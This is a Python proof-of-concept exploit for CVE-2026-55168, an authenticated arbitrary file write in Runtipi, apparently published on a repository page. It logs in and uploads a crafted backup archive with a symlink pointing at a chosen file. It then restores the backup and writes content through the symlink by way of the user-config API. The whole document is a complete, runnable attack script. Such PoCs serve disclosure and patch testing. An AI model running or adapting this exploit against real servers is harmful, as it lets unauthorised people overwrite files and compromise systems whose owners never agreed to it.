README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import gzip
import io
import json
import re
import sys
import tarfile
import time
import urllib.error
import urllib.request
from http.cookiejar import CookieJar
def build_tar_gz_bytes(target_path: str) -> bytes:
raw = io.BytesIO()
with tarfile.open(fileobj=raw, mode="w") as tar:
for directory in ("app-data", "app", "user-config"):
info = tarfile.TarInfo(f"{directory}/")
info.type = tarfile.DIRTYPE
info.mode = 0o755
tar.addfile(info)
symlink = tarfile.TarInfo("user-config/app.env")
symlink.type = tarfile.SYMTYPE
symlink.linkname = target_path
symlink.mode = 0o777
tar.addfile(symlink)
return gzip.compress(raw.getvalue())
def make_opener() -> urllib.request.OpenerDirector:
cookie_jar = CookieJar()
return urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))
def request(opener, method: str, url: str, *, data=None, headers=None):
req = urllib.request.Request(url, data=data, headers=headers or {}, method=method)
return opener.open(req, timeout=30)
def multipart_body(field_name: str, filename: str, payload: bytes, content_type: str):
boundary = "----cve-2026-55168-boundary"
parts = [
f"--{boundary}\r\n".encode(),
f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\n'.encode(),
f"Content-Type: {content_type}\r\n\r\n".encode(),
payload,
b"\r\n",
f"--{boundary}--\r\n".encode(),
]
body = b"".join(parts)
return body, boundary
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-55168 Runtipi authenticated arbitrary file write PoC"
)
parser.add_argument("--base-url", default="http://127.0.0.1:3001")
parser.add_argument("--username", required=True)
parser.add_argument("--password", required=True)
parser.add_argument("--app-urn", default="demoapp3:_user")
parser.add_argument("--target-path", default="/data/state/proof.txt")
parser.add_argument("--write-content", default="PWNED_FROM_USERCFG_WRITE")
parser.add_argument("--output", default="")
args = parser.parse_args()
opener = make_opener()
common_headers = {
"Origin": args.base_url,
"Referer": f"{args.base_url}/",
"X-Forwarded-Host": re.sub(r"^https?://", "", args.base_url),
"X-Forwarded-Proto": "https" if args.base_url.startswith("https://") else "http",
}
login_body = json.dumps({"username": args.username, "password": args.password}).encode()
with request(
opener,
"POST",
f"{args.base_url}/api/auth/login",
data=login_body,
headers={**common_headers, "Content-Type": "application/json"},
) as resp:
if resp.status != 201:
raise RuntimeError(f"Login failed: HTTP {resp.status}")
archive_name = f"usercfg-symlink-{int(time.time())}.tar.gz"
archive_bytes = build_tar_gz_bytes(args.target_path)
if args.output:
with open(args.output, "wb") as handle:
handle.write(archive_bytes)
upload_body, boundary = multipart_body("file", archive_name, archive_bytes, "application/gzip")
with request(
opener,
"POST",
f"{args.base_url}/api/backups/{args.app_urn}/upload",
data=upload_body,
headers={**common_headers, "Content-Type": f"multipart/form-data; boundary={boundary}"},
) as resp:
if resp.status != 201:
raise RuntimeError(f"Upload failed: HTTP {resp.status} {resp.read().decode(errors='replace')}")
restore_body = json.dumps({"filename": archive_name}).encode()
with request(
opener,
"POST",
f"{args.base_url}/api/backups/{args.app_urn}/restore",
data=restore_body,
headers={**common_headers, "Content-Type": "application/json"},
) as resp:
restore_response = resp.read().decode(errors="replace")
if resp.status != 201:
raise RuntimeError(f"Restore failed: HTTP {resp.status} {restore_response}")
time.sleep(8)
update_body = json.dumps({"dockerCompose": "", "appEnv": args.write_content}).encode()
with request(
opener,
"PUT",
f"{args.base_url}/api/user-config/{args.app_urn}",
data=update_body,
headers={**common_headers, "Content-Type": "application/json"},
) as resp:
if resp.status != 200:
raise RuntimeError(
f"User-config update failed: HTTP {resp.status} {resp.read().decode(errors='replace')}"
)
result = {
"base_url": args.base_url,
"app_urn": args.app_urn,
"archive_name": archive_name,
"target_path": args.target_path,
"write_content": args.write_content,
"status": "ok",
}
print(json.dumps(result, indent=2))
if __name__ == "__main__":
try:
main()
except urllib.error.HTTPError as exc:
body = exc.read().decode(errors="replace")
print(f"HTTPError: {exc.code} {body}", file=sys.stderr)
sys.exit(1)
except Exception as exc:
print(f"Error: {exc}", file=sys.stderr)
sys.exit(1)